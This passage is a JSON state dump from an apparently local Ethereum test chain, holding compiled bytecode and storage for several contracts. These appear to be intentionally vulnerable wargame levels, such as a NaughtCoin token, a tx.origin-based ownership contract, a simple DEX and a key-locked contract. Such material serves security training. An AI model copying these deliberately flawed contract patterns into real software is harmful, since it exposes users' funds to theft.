020548111156101c957600080fd5b336000908152600160205260409020546101e490829061032f565b33600090815260016020526040808220929092556001600160a01b0393909316835290912055565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176102395761023961020c565b92915050565b6001600160a01b038116811461025457600080fd5b50565b60006020828403121561026957600080fd5b81356102748161023f565b9392505050565b600060208083528351808285015260005b818110156102a85785810183015185820160400152820161028c565b506000604082860101526040601f19601f8301168501019250505092915050565b600080604083850312156102dc57600080fd5b82356102e78161023f565b946020939093013593505050565b600181811c9082168061030957607f821691505b60208210810361032957634e487b7160e01b600052602260045260246000fd5b50919050565b818103818111156102395761023961020c56fea26469706673582212207f4c6c6dadf7413d03e7f978bed3b42dfc014ffd496f06a156234f154195770e64736f6c63430008150033a2646970667358221220b8b789618de2e8ef9f2d674f0073be46d0254e2812007eea5cfd4141eba4771064736f6c63430008150033","storage":{}},"0x4ed7c70f96b99c776995fb64377f0d4ab3b0e1c1":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060285760003560e01c80633beb26c414602d575b600080fd5b603d6038366004603f565b600055565b005b600060208284031215605057600080fd5b503591905056fea26469706673582212202f09213ae71416777fe3bb17c68538a6526a85385b7fce3472c600e6e31606d264736f6c63430008150033","storage":{}},"0x59b670e9fa9d0a427751af201d676719a970857b":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806348db5f891161008c578063a457c2d711610066578063a457c2d7146101dc578063a9059cbb146101ef578063d085835a14610202578063dd62ed3e1461020b57600080fd5b806348db5f891461018057806370a08231146101ab57806395d89b41146101d457600080fd5b806323b872dd116100c857806323b872dd146101425780632ff2e9dc14610155578063313ce5671461015e578063395093511461016d57600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f761021e565b604051610104919061075e565b60405180910390f35b61012061011b3660046107c8565b6102b0565b6040519015158152602001610104565b6002545b604051908152602001610104565b6101206101503660046107f2565b6102ca565b61013460065481565b60405160128152602001610104565b61012061017b3660046107c8565b6102ee565b600754610193906001600160a01b031681565b6040516001600160a01b039091168152602001610104565b6101346101b936600461082e565b6001600160a01b031660009081526020819052604090205490565b6100f7610310565b6101206101ea3660046107c8565b61031f565b6101206101fd3660046107c8565b61039f565b61013460055481565b610134610219366004610850565b6103e3565b60606003805461022d90610883565b80601f016020809104026020016040519081016040528092919081815260200182805461025990610883565b80156102a65780601f1061027b576101008083540402835291602001916102a6565b820191906000526020600020905b81548152906001019060200180831161028957829003601f168201915b5050505050905090565b6000336102be81858561040e565b60019150505b92915050565b6000336102d8858285610532565b6102e38585856105ac565b506001949350505050565b6000336102be81858561030183836103e3565b61030b91906108bd565b61040e565b60606004805461022d90610883565b6000338161032d82866103e3565b9050838110156103925760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6102e3828686840361040e565b6007546000906001600160a01b031633036103d25760055442116103c257600080fd5b6103cc8383610750565b506102c4565b6103dc8383610750565b5092915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6001600160a01b0383166104705760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610389565b6001600160a01b0382166104d15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610389565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061053e84846103e3565b905060001981146105a657818110156105995760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610389565b6105a6848484840361040e565b50505050565b6001600160a01b0383166106105760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610389565b6001600160a01b0382166106725760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610389565b6001600160a01b038316600090815260208190526040902054818110156106ea5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610389565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36105a6565b6000336102be8185856105ac565b600060208083528351808285015260005b8181101561078b5785810183015185820160400152820161076f565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146107c357600080fd5b919050565b600080604083850312156107db57600080fd5b6107e4836107ac565b946020939093013593505050565b60008060006060848603121561080757600080fd5b610810846107ac565b925061081e602085016107ac565b9150604084013590509250925092565b60006020828403121561084057600080fd5b610849826107ac565b9392505050565b6000806040838503121561086357600080fd5b61086c836107ac565b915061087a602084016107ac565b90509250929050565b600181811c9082168061089757607f821691505b6020821081036108b757634e487b7160e01b600052602260045260246000fd5b50919050565b808201808211156102c457634e487b7160e01b600052601160045260246000fdfea26469706673582212201cc1d54c5176a48a670d156ccd42dfd5c596fb66544022c863f38666ec156c9164736f6c63430008150033","storage":{"0x2":"0xd3c21bcecceda1000000","0x3":"0x4e6175676874436f696e00000000000000000000000000000000000000000014","0x4":"0x3078300000000000000000000000000000000000000000000000000000000006","0x5":"0x77bc6d88","0x6":"0xd3c21bcecceda1000000","0x7":"0xa0ee7a142d267c1f36714e4a8f75612f20a79720","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0xd3c21bcecceda1000000"}},"0x5eb3bc0a489c5a8288765d2336659ebca68fcd00":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80638da5cb5b116100715780638da5cb5b1461012f578063cbc7854e14610140578063d21220a714610153578063df791e5014610166578063f2fde38b14610179578063f7888aec1461018c57600080fd5b8063095ea7b3146100ae57806325be124e146100c3578063264e8893146100f3578063635bc0c214610106578063715018a614610127575b600080fd5b6100c16100bc366004610800565b61019f565b005b6002546100d6906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100c1610101366004610800565b61026f565b61011961011436600461082a565b6102ef565b6040519081526020016100ea565b6100c16103de565b6000546001600160a01b03166100d6565b6100c161014e366004610866565b6103f2565b6001546100d6906001600160a01b031681565b6100c161017436600461082a565b610428565b6100c1610187366004610899565b61064a565b61011961019a366004610866565b6106c3565b60015460405163e1f21c6760e01b81526001600160a01b039091169063e1f21c67906101d3903390869086906004016108b4565b600060405180830381600087803b1580156101ed57600080fd5b505af1158015610201573d6000803e3d6000fd5b505060025460405163e1f21c6760e01b81526001600160a01b03909116925063e1f21c679150610239903390869086906004016108b4565b600060405180830381600087803b15801561025357600080fd5b505af1158015610267573d6000803e3d6000fd5b505050505050565b61027761073a565b6040516323b872dd60e01b81526001600160a01b038316906323b872dd906102a7903390309086906004016108b4565b6020604051808303816000875af11580156102c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102ea91906108d8565b505050565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa158015610336573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061035a9190610901565b6040516370a0823160e01b81523060048201526001600160a01b038516906370a0823190602401602060405180830381865afa15801561039e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103c29190610901565b6103cc908461091a565b6103d6919061093f565b949350505050565b6103e661073a565b6103f06000610794565b565b6103fa61073a565b600180546001600160a01b039384166001600160a01b03199182161790915560028054929093169116179055565b6040516370a0823160e01b815233600482015281906001600160a01b038516906370a0823190602401602060405180830381865afa15801561046e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104929190610901565b10156104da5760405162461bcd60e51b815260206004820152601260248201527104e6f7420656e6f75676820746f20737761760741b60448201526064015b60405180910390fd5b60006104e78484846102ef565b6040516323b872dd60e01b81529091506001600160a01b038516906323b872dd9061051a903390309087906004016108b4565b6020604051808303816000875af1158015610539573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061055d91906108d8565b5060405163095ea7b360e01b8152306004820152602481018290526001600160a01b0384169063095ea7b3906044016020604051808303816000875af11580156105ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105cf91906108d8565b506040516323b872dd60e01b81526001600160a01b038416906323b872dd90610600903090339086906004016108b4565b6020604051808303816000875af115801561061f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064391906108d8565b5050505050565b61065261073a565b6001600160a01b0381166106b75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104d1565b6106c081610794565b50565b6040516370a0823160e01b81526001600160a01b038281166004830152600091908416906370a0823190602401602060405180830381865afa15801561070d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107319190610901565b90505b92915050565b6000546001600160a01b031633146103f05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104d1565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b03811681146107fb57600080fd5b919050565b6000806040838503121561081357600080fd5b61081c836107e4565b946020939093013593505050565b60008060006060848603121561083f57600080fd5b610848846107e4565b9250610856602085016107e4565b9150604084013590509250925092565b6000806040838503121561087957600080fd5b610882836107e4565b9150610890602084016107e4565b90509250929050565b6000602082840312156108ab57600080fd5b610731826107e4565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6000602082840312156108ea57600080fd5b815180151581146108fa57600080fd5b9392505050565b60006020828403121561091357600080fd5b5051919050565b808202811582820484141761073457634e487b7160e01b600052601160045260246000fd5b60008261095c57634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220976906dcd0d7864f8a4845278a1d20aa255f6b28f4d08ef63374bd52ddcd4fbe64736f6c63430008150033","storage":{"0x0":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x1":"0x36c02da8a0983159322a80ffe9f24b1acff8b570","0x2":"0x809d550fca64d94bd9f66e60752a544199cfac3d"}},"0x5fbdb2315678afecb367f032d93f642f64180aa3":{"nonce":1,"balance":"0x4563918244f40000","code":"0x60806040526004361061004e5760003560e01c80633ccfd60b1461009657806342e94c90146100ad5780638da5cb5b146100ed578063d7bb99ba14610125578063f10fdf5c1461012d57600080fd5b366100915760003411801561007157503360009081526020819052604090205415155b61007a57600080fd5b600180546001600160a01b03191633908117909155005b600080fd5b3480156100a257600080fd5b506100ab61014f565b005b3480156100b957600080fd5b506100da6100c836600461025d565b60006020819052908152604090205481565b6040519081526020015b60405180910390f35b3480156100f957600080fd5b5060015461010d906001600160a01b031681565b6040516001600160a01b0390911681526020016100e4565b6100ab6101e9565b34801561013957600080fd5b50336000908152602081905260409020546100da565b6001546001600160a01b031633146101ad5760405162461bcd60e51b815260206004820152601760248201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015260640160405180910390fd5b6001546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156101e6573d6000803e3d6000fd5b50565b66038d7ea4c6800034106101fc57600080fd5b336000908152602081905260408120805434929061021b90849061028d565b90915550506001546001600160a01b031660009081526020819052604080822054338352912054111561025b57600180546001600160a01b031916331790555b565b60006020828403121561026f57600080fd5b81356001600160a01b038116811461028657600080fd5b9392505050565b808201808211156102ae57634e487b7160e01b600052601160045260246000fd5b9291505056fea264697066735822122048a7966f935e49a6a3d2a0491755365ae5de2be1efe1f4e64355daa08cf34c4f64736f6c63430008150033","storage":{"0x1":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722":"0x3635c9adc5dea00000"}},"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060325760003560e01c80638da5cb5b146037578063a6f9dae1146065575b600080fd5b6000546049906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b60746070366004609b565b6076565b005b323314609857600080546001600160a01b0319166001600160a01b0383161790555b50565b60006020828403121560ac57600080fd5b81356001600160a01b038116811460c257600080fd5b939250505056fea26469706673582212206743c1e75ca9ee978ed42887c6ff693b8cbefc2520418b410433d9089862e3c464736f6c63430008150033","storage":{"0x0":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266"}},"0x610178da211fef7d417bc0e6fed39f05609ad788":{"nonce":1,"balance":"0x0","code":"0x6080604052600080fdfea264697066735822122093329d4e0ed8d6ad33a71bbbd013bb20130d12ace7d887ff8de13f6b9c8a787e64736f6c63430008150033","storage":{}},"0x6379ebd504941f50d5bfde9348b37593bd29c835":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461014157806395d89b411461016a578063a457c2d714610172578063a9059cbb14610185578063dd62ed3e14610198578063e1f21c67146101ab57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101c0565b6040516100ce919061071c565b60405180910390f35b6100ea6100e5366004610786565b610252565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a3660046107b0565b61026c565b604051601281526020016100ce565b6100ea61013c366004610786565b610290565b6100fe61014f3660046107ec565b6001600160a01b031660009081526020819052604090205490565b6100c16102b2565b6100ea610180366004610786565b6102c1565b6100ea610193366004610786565b610341565b6100fe6101a636600461080e565b61034f565b6101be6101b93660046107b0565b61037a565b005b6060600380546101cf90610841565b80601f01602080910402602001604051908101604052809291908181526020018280546101fb90610841565b80156102485780601f1061021d57610100808354040283529160200191610248565b820191906000526020600020905b81548152906001019060200180831161022b57829003601f168201915b5050505050905090565b6000336102608185856103da565b60019150505b92915050565b60003361027a8582856104fe565b610285858585610578565b506001949350505050565b6000336102608185856102a3838361034f565b6102ad919061087b565b6103da565b6060600480546101cf90610841565b600033816102cf828661034f565b9050838110156103345760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61028582868684036103da565b600033610260818585610578565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b03908116908416036103ca5760405162461bcd60e51b815260206004820152600f60248201526e24b73b30b634b220b8383937bb32b960891b604482015260640161032b565b6103d58383836103da565b505050565b6001600160a01b03831661043c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032b565b6001600160a01b03821661049d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061050a848461034f565b9050600019811461057257818110156105655760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161032b565b61057284848484036103da565b50505050565b6001600160a01b0383166105dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032b565b6001600160a01b03821661063e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032b565b6001600160a01b038316600090815260208190526040902054818110156106b65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610572565b600060208083528351808285015260005b818110156107495785810183015185820160400152820161072d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461078157600080fd5b919050565b6000806040838503121561079957600080fd5b6107a28361076a565b946020939093013593505050565b6000806000606084860312156107c557600080fd5b6107ce8461076a565b92506107dc6020850161076a565b9150604084013590509250925092565b6000602082840312156107fe57600080fd5b6108078261076a565b9392505050565b6000806040838503121561082157600080fd5b61082a8361076a565b91506108386020840161076a565b90509250929050565b600181811c9082168061085557607f821691505b60208210810361087557634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561026657634e487b7160e01b600052601160045260246000fdfea26469706673582212200182eba0a0f7f4e4d9f250b1fa6c58e2ce02a170adbbcea922a3acf0c104d61b64736f6c63430008150033","storage":{"0x2":"0x64","0x3":"0x46616b652032000000000000000000000000000000000000000000000000000c","0x4":"0x46434b3200000000000000000000000000000000000000000000000000000008","0x5":"0x5eb3bc0a489c5a8288765d2336659ebca68fcd00","0x63fd3740feaeb2447e6be1f6ce907e3eadb872fff1aefe03b486ff8244ea61a4":"0x3e8","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0x64"}},"0x67d269191c92caf3cd7723f116c85e6e9bf55933":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063d23906fc14602d575b600080fd5b6092603836600460ae565b60408051606b60f91b602080830191909152602560fa1b602183015260609390931b6bffffffffffffffffffffffff19166022820152600160f81b6036820152815160178183030181526037909101909152805191012090565b6040516001600160a01b03909116815260200160405180910390f35b60006020828403121560bf57600080fd5b81356001600160a01b038116811460d557600080fd5b939250505056fea2646970667358221220d04916ead5b5e723dd53c341e8881f3d0e459cf88fa159270926a13690e2d68f64736f6c63430008150033","storage":{}},"0x68b1d87f95878fe05b998f19b66f4baba5de1aed":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b5060043610603c5760003560e01c8063b3cea217146041578063cf30901214605c578063e1afb08c146077575b600080fd5b604960015481565b6040519081526020015b60405180910390f35b60005460689060ff1681565b60405190151581526020016053565b6086608236600460af565b6088565b005b6005546001600160801b031982811691161460a257600080fd5b506000805460ff19169055565b60006020828403121560c057600080fd5b81356001600160801b03198116811460d757600080fd5b939250505056fea264697066735822122023e5290a175c32a77aafa8f1de59e58b1be3b7e8948d19817ac0026ec461df2964736f6c63430008150033","storage":{"0x0":"0x1","0x1":"0x64f06a73","0x2":"0x6a73ff0a","0x3":"0xc360ae4093f23f25503ad186ffdded3cc48897fd262c26c8d48433baa90ff5b1","0x4":"0xbb014e08b1f4117395aaf2a00f1fd1b49ef7af58917a3ea9c097bafe2bd7e01b","0x5":"0x51e196a46d18030017f49584ad1c51f6c9280efea409c594428b7b00d3e65e68"}},"0x70997970c51812dc3a010c7d01b50e0d17dc79c8":{"nonce":1,"balance":"0x218ae18ef6f5d4d6948","code":"0x","storage":{}},"0x809d550fca64d94bd9f66e60752a544199cfac3d":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461014157806395d89b411461016a578063a457c2d714610172578063a9059cbb14610185578063dd62ed3e14610198578063e1f21c67146101ab57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101c0565b6040516100ce919061071c565b60405180910390f35b6100ea6100e5366004610786565b610252565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a3660046107b0565b61026c565b604051601281526020016100ce565b6100ea61013c366004610786565b610290565b6100fe61014f3660046107ec565b6001600160a01b031660009081526020819052604090205490565b6100c16102b2565b6100ea610180366004610786565b6102c1565b6100ea610193366004610786565b610341565b6100fe6101a636600461080e565b61034f565b6101be6101b93660046107b0565b61037a565b005b6060600380546101cf90610841565b80601f01602080910402602001604051908101604052809291908181526020018280546101fb90610841565b80156102485780601f1061021d57610100808354040283529160200191610248565b820191906000526020600020905b81548152906001019060200180831161022b57829003601f168201915b5050505050905090565b6000336102608185856103da565b60019150505b92915050565b60003361027a8582856104fe565b610285858585610578565b506001949350505050565b6000336102608185856102a3838361034f565b6102ad919061087b565b6103da565b6060600480546101cf90610841565b600033816102cf828661034f565b9050838110156103345760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61028582868684036103da565b600033610260818585610578565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b03908116908416036103ca5760405162461bcd60e51b815260206004820152600f60248201526e24b73b30b634b220b8383937bb32b960891b604482015260640161032b565b6103d58383836103da565b505050565b6001600160a01b03831661043c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032b565b6001600160a01b03821661049d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061050a848461034f565b9050600019811461057257818110156105655760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161032b565b61057284848484036103da565b50505050565b6001600160a01b0383166105dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032b565b6001600160a01b03821661063e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032b565b6001600160a01b038316600090815260208190526040902054818110156106b65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610572565b600060208083528351808285015260005b818110156107495785810183015185820160400152820161072d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461078157600080fd5b919050565b6000806040838503121561079957600080fd5b6107a28361076a565b946020939093013593505050565b6000806000606084860312156107c557600080fd5b6107ce8461076a565b92506107dc6020850161076a565b9150604084013590509250925092565b6000602082840312156107fe57600080fd5b6108078261076a565b9392505050565b6000806040838503121561082157600080fd5b61082a8361076a565b91506108386020840161076a565b90509250929050565b600181811c9082168061085557607f821691505b60208210810361087557634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561026657634e487b7160e01b600052601160045260246000fdfea26469706673582212200182eba0a0f7f4e4d9f250b1fa6c58e2ce02a170adbbcea922a3acf0c104d61b64736f6c63430008150033","storage":{"0x2":"0x6e","0x3":"0x546f6b656e20320000000000000000000000000000000000000000000000000e","0x4":"0x544b4e3200000000000000000000000000000000000000000000000000000008","0x5":"0x5eb3bc0a489c5a8288765d2336659ebca68fcd00","0x2314c4c26e1bbf91d9c6b25c404601851c24b2161f4438f53b17615999f1d8af":"0x0","0x63fd3740feaeb2447e6be1f6ce907e3eadb872fff1aefe03b486ff8244ea61a4":"0x3e8","0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722":"0x0","0x756af353f56f684aa3fe3e4b3713ab1313420fed683b8a6084b2333635805ea6":"0x0","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0x6e","0xca5589f3837f32e93e152ab464d8e8f19bab0d9981626fa30d8d21f51c13a7d4":"0x0"}},"0x82dc47734901ee7d4f4232f398752cb9dd5daccc":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461014157806395d89b411461016a578063a457c2d714610172578063a9059cbb14610185578063dd62ed3e14610198578063e1f21c67146101ab57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101c0565b6040516100ce919061071c565b60405180910390f35b6100ea6100e5366004610786565b610252565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a3660046107b0565b61026c565b604051601281526020016100ce565b6100ea61013c366004610786565b610290565b6100fe61014f3660046107ec565b6001600160a01b031660009081526020819052604090205490565b6100c16102b2565b6100ea610180366004610786565b6102c1565b6100ea610193366004610786565b610341565b6100fe6101a636600461080e565b61034f565b6101be6101b93660046107b0565b61037a565b005b6060600380546101cf90610841565b80601f01602080910402602001604051908101604052809291908181526020018280546101fb90610841565b80156102485780601f1061021d57610100808354040283529160200191610248565b820191906000526020600020905b81548152906001019060200180831161022b57829003601f168201915b5050505050905090565b6000336102608185856103da565b60019150505b92915050565b60003361027a8582856104fe565b610285858585610578565b506001949350505050565b6000336102608185856102a3838361034f565b6102ad919061087b565b6103da565b6060600480546101cf90610841565b600033816102cf828661034f565b9050838110156103345760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61028582868684036103da565b600033610260818585610578565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b03908116908416036103ca5760405162461bcd60e51b815260206004820152600f60248201526e24b73b30b634b220b8383937bb32b960891b604482015260640161032b565b6103d58383836103da565b505050565b6001600160a01b03831661043c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032b565b6001600160a01b03821661049d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061050a848461034f565b9050600019811461057257818110156105655760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161032b565b61057284848484036103da565b50505050565b6001600160a01b0383166105dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032b565b6001600160a01b03821661063e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032b565b6001600160a01b038316600090815260208190526040902054818110156106b65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610572565b600060208083528351808285015260005b818110156107495785810183015185820160400152820161072d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461078157600080fd5b919050565b6000806040838503121561079957600080fd5b6107a28361076a565b946020939093013593505050565b6000806000606084860312156107c557600080fd5b6107ce8461076a565b92506107dc6020850161076a565b9150604084013590509250925092565b6000602082840312156107fe57600080fd5b6108078261076a565b9392505050565b6000806040838503121561082157600080fd5b61082a8361076a565b91506108386020840161076a565b90509250929050565b600181811c9082168061085557607f821691505b60208210810361087557634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561026657634e487b7160e01b600052601160045260246000fdfea26469706673582212200182eba0a0f7f4e4d9f250b1fa6c58e2ce02a170adbbcea922a3acf0c104d61b64736f6c63430008150033","storage":{"0x2":"0x64","0x3":"0x46616b652031000000000000000000000000000000000000000000000000000c","0x4":"0x46434b3100000000000000000000000000000000000000000000000000000008","0x5":"0x5eb3bc0a489c5a8288765d2336659ebca68fcd00","0x63fd3740feaeb2447e6be1f6ce907e3eadb872fff1aefe03b486ff8244ea61a4":"0x3e8","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0x64"}},"0x84ea74d481ee0a5332c457a4d796187f6ba67feb":{"nonce":1,"balance":"0xef420","code":"0x60806040526004361061004e5760003560e01c80633ccfd60b1461005a5780634e1c5914146100715780638b7afe2e146100ae5780638da5cb5b146100ce578063be10862b146100fc57600080fd5b3661005557005b600080fd5b34801561006657600080fd5b5061006f61011c565b005b34801561007d57600080fd5b5061006f61008c3660046101e2565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b3480156100ba57600080fd5b506040514781526020015b60405180910390f35b3480156100da57600080fd5b506100e4610a9e81565b6040516001600160a01b0390911681526020016100c5565b34801561010857600080fd5b506000546100e4906001600160a01b031681565b6000610129606447610212565b600080546040519293506001600160a01b031691839181818185875af1925050503d8060008114610176576040519150601f19603f3d011682016040523d82523d6000602084013e61017b565b606091505b5050604051610a9e915082156108fc029083906000818181858888f193505050501580156101ad573d6000803e3d6000fd5b5042600155600080546001600160a01b0316815260026020526040812080548392906101da908490610234565b909155505050565b6000602082840312156101f457600080fd5b81356001600160a01b038116811461020b57600080fd5b9392505050565b60008261022f57634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561025557634e487b7160e01b600052601160045260246000fd5b9291505056fea2646970667358221220d8e2d18a6111948c5c22716b